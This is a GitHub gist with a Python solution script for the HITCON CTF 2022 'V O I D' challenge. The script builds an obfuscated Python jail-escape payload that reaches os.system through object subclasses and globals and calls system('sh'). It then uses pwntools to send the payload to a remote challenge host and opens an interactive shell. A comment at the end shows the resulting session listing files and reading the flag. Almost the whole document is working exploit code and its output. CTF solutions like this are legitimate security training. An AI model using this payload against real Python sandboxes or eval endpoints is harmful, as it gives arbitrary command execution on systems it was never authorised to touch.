Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active November 29, 2022 01:55
Show Gist options
  • Save lebr0nli/002141a957beff01079552a1e4d78b2e to your computer and use it in GitHub Desktop.
Save lebr0nli/002141a957beff01079552a1e4d78b2e to your computer and use it in GitHub Desktop.
Solution for HITCON CTF 2022 - V O I D (Misc)
from pwn import *
import dis
def gen_varname() -> str:
d = {}
class Checker:
def __getattribute__(self, __name: str) -> bool:
if d.get(__name, False):
return True
d[__name] = True
return False
checker = Checker()
for i in range(0x10000):
if chr(i).isidentifier() and not eval(f"checker.{chr(i)}"):
yield chr(i)
def load_name(idx: int) -> str:
g = gen_varname()
return "(" + ",".join([next(g) for _ in range(idx)]) + ")", next(g)
def gen_left() -> str:
# yield all length 1 integers
# 0 ~ 9
for i in range(10):
yield str(i)
# yield all length 2 integers
# 10 ~ 99
for i in range(10, 100):
yield str(i)
# yield length 2 str
yield '""'
# yield all length 2 floats
# .1 ~ .9
for i in range(1, 10):
yield f".{i}"
# 1. ~ 9.
for i in range(1, 10):
yield f"{i}."
# yield all length 3 integers
# 100 ~ 999
for i in range(100, 1000):
yield str(i)
# yield all length 3 floats
# .11 ~ .99
for i in range(11, 100):
if str(i).endswith("0"):
continue
yield f".{i}"
# 1.1 ~ 9.9
for i in range(1, 10):
for j in range(1, 10):
yield f"{i}.{j}"
# 11. ~ 99.
for i in range(11, 100):
yield f"{i}."
# 1e1 ~ 9e9
for i in range(1, 10):
for j in range(2, 10):
yield f"{i}e{j}"
# yield length 3 bytes
yield 'b""'
# yield length 3 ellipsis
yield "..."
# yield all length 4 integers
# 1000 ~ 9999
for i in range(1000, 10000):
yield str(i)
# should enough for now :)
def is_valid_right(x: str) -> bool:
if str.isdigit(x):
return False
if any([c in x for c in ["'", "\\", "{", "}", "\n", "\r", "\0"]]):
return False
return True
def load_const(idx: int) -> str:
payload = "f'"
use_par = False
i = 0
g = gen_left()
while i < idx:
if use_par:
payload += "{"
payload += next(g)
idx -= 1
if i == idx:
payload += "}"
break
payload += ":"
tmp = chr(i)
while not is_valid_right(tmp):
i += 1
idx += 1
tmp = chr(i)
payload += tmp
payload += "}"
else:
tmp = chr(i)
while not is_valid_right(tmp):
i += 1
idx += 1
tmp = chr(i)
payload += tmp
i += 1
use_par = not use_par
payload += f"'"
return payload, str(idx)
payload, _ = load_const(1000)
names, getitem = load_name(2780)
_, getattribute = load_name(2158)
underscore = "(246)[not[[]]]"
s = "'" + chr(548) + "'[not[[]]]"
u = "'" + chr(656) + "'[not[]]"
b = "'" + chr(654) + "'[not[]]"
c = "'" + chr(558) + "'[not[[]]]"
l = "(296)[not[]]"
a = "(292)[not[]]"
e = "'" + chr(556) + "'[not[]]"
i = "(245)[not[[]]]"
n = "'" + chr(556) + "'[(not[])+(not[])]"
t = "(311)[not[]]"
g = "'" + chr(644) + "'[not[[]]]"
o = "'" + chr(643) + "'[not[]]"
y = "'" + chr(548) + "'[not[]]"
m = "(245)[not[]]"
h = "(292)[-(not[])]"
# load necessary amount of names and consts
payload += names
payload += "if[]else"
# os._wrap_close.__init__.__globals__
payload += "'\x05'"
payload += "."
payload += getattribute
payload += "("
# os._wrap_close.__init__
payload += "'\x05'"
payload += "."
payload += getattribute
payload += "("
# # os._wrap_close
payload += "'\x05'"
payload += "."
payload += getattribute
payload += "("
payload += "'\x05',"
payload += "+".join(
[underscore, underscore, s, u, b, c, l, a, s, s, e, s, underscore, underscore]
)
payload += ")()[-((not[])+(not[])+(not[])+(not[]))]"
payload += ","
payload += "+".join([underscore, underscore, i, n, i, t, underscore, underscore])
payload += ")"
payload += ","
payload += "+".join(
[underscore, underscore, g, l, o, b, a, l, s, underscore, underscore]
)
payload += ")"
# .__getitem__("system")("sh")
payload += "."
payload += getitem
payload += "("
payload += "+".join([s, y, s, t, e, m])
payload += ")"
payload += "("
payload += "+".join([s, h])
payload += ")"
# object.__getattribute__(object.__getattribute__(object.__getattribute__(object, '__subclasses__')()[-4], '__init__'), '__globals__').__getitem__('system')('sh')
print(payload)
print(len(payload))
dis.dis(payload)
print(len(payload))
HOST, PORT = "localhost", 13337
HOST, PORT = "34.80.32.35", 13337
with remote(HOST, PORT) as io:
io.sendlineafter(b">>> ", payload.encode())
io.interactive()
# [+] Opening connection to 34.80.32.35 on port 13337: Done
# [*] Switching to interactive mode
# $ ls
# chal.py
# flag
# run.sh
# $ cat flag
# hitcon{3scape the vvvVOIDddd}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment